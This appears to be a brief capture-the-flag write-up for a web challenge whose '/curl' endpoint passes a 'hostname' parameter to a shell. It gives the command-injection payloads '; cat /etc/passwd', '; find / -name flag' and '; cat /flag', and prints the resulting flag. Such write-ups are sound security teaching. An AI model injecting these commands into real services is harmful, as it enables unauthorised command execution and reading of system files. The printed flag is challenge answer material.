In this challenge no files are provided, only an URL to access. Accessing it:


There is an input box that let's "run a URL", we can try putting "https://www.google.com" there and see what happens.


We can see that there is an endpoint */curl* that accepts the *hostname* query parameter.
The solution is a simple command injection. This can be tested with

```bash
; cat /etc/passwd
```


To obtain the flag, we just need to send

```bash
; find / -name flag 2>/dev/null
```

this will helps us find the flag directory


The correct flag is in the root (/).

```bash
; cat /flag
# Will give us the flag
CTFUA{Inj3ct1ng_Comm4nDs_l1ke_A_b055}
```